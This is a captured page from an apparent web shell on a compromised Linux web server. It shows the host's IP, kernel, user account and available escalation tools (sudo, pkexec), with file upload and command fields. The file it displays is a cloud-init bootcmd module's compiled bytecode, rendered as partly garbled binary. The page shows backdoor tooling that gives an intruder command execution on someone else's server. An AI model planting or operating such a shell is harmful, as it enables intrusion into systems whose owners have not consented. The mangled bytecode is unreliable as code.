403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_bootcmd.cpython-36.pyc
3

��b�
�@s�UdZddlZddlmZddlmZmZmZddlm	Z	m
Z
ddlmZeZ
dgZdd	d
ed�eed�ged
�Ze	e
e�Zdd�ZdS)z:Bootcmd: run arbitrary commands early in the boot process.�N)�dedent)�subp�
temp_utils�util)�
MetaSchema�get_meta_doc)�
PER_ALWAYS�allZ
cc_bootcmdZBootcmdz0Run arbitrary commands early in the boot processa�        This module runs arbitrary commands very early in the boot process,
        only slightly after a boothook would run. This is very similar to a
        boothook, but more user friendly. The environment variable
        ``INSTANCE_ID`` will be set to the current instance id for all run
        commands. Commands can be specified either as lists or strings. For
        invocation details, see ``runcmd``.

        .. note::
            bootcmd should only be used for things that could not be done later
            in the boot process.

        .. note::

          when writing files, do not use /tmp dir as it races with
          systemd-tmpfiles-clean LP: #1707222. Use /run/somedir instead.
    z�        bootcmd:
            - echo 192.168.1.130 us.archive.ubuntu.com > /etc/hosts
            - [ cloud-init-per, once, mymkfs, mkfs, /dev/vdb ]
    )�id�name�title�description�distrosZexamples�	frequencyc Cs�d|kr|jd|�dStjdd���}y*tj|d�}|jtj|��|j�Wn6tk
r�}ztj	|dt
|���WYdd}~XnXy@tjj
�}|j�}	|	r�t
|	�|d<d|jg}
tj|
|dd	�Wn$tk
r�tj	|d
|��YnXWdQRXdS)NZbootcmdz;Skipping module named %s, no 'bootcmd' key in configurationz.sh)�suffixzFailed to shellify bootcmd: %sZINSTANCE_IDz/bin/shF)�envZcapturezFailed to run bootcmd module %s)�debugrZExtendedTemporaryFilerZshellify�writeZencode_text�flush�	ExceptionZlogexc�str�os�environ�copyZget_instance_idrr)rZcfgZcloud�logZ_argsZtmpfZcontent�erZiid�cmd�r� /usr/lib/python3.6/cc_bootcmd.py�handle>s,

r)�__doc__r�textwraprZ	cloudinitrrrZcloudinit.config.schemarrZcloudinit.settingsrrr�metarrrrr�<module>
s$

Youez - 2016 - github.com/yon3zu
LinuXploit